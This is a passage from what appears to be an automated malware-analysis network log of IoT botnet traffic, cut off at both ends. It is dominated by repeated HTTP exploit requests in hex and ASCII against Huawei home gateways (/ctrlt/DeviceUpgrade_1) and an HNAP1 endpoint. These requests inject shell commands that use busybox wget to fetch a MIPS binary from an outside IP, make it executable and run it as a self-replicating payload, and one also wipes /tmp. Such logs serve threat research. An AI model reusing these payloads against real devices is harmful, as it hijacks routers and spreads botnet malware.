xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" 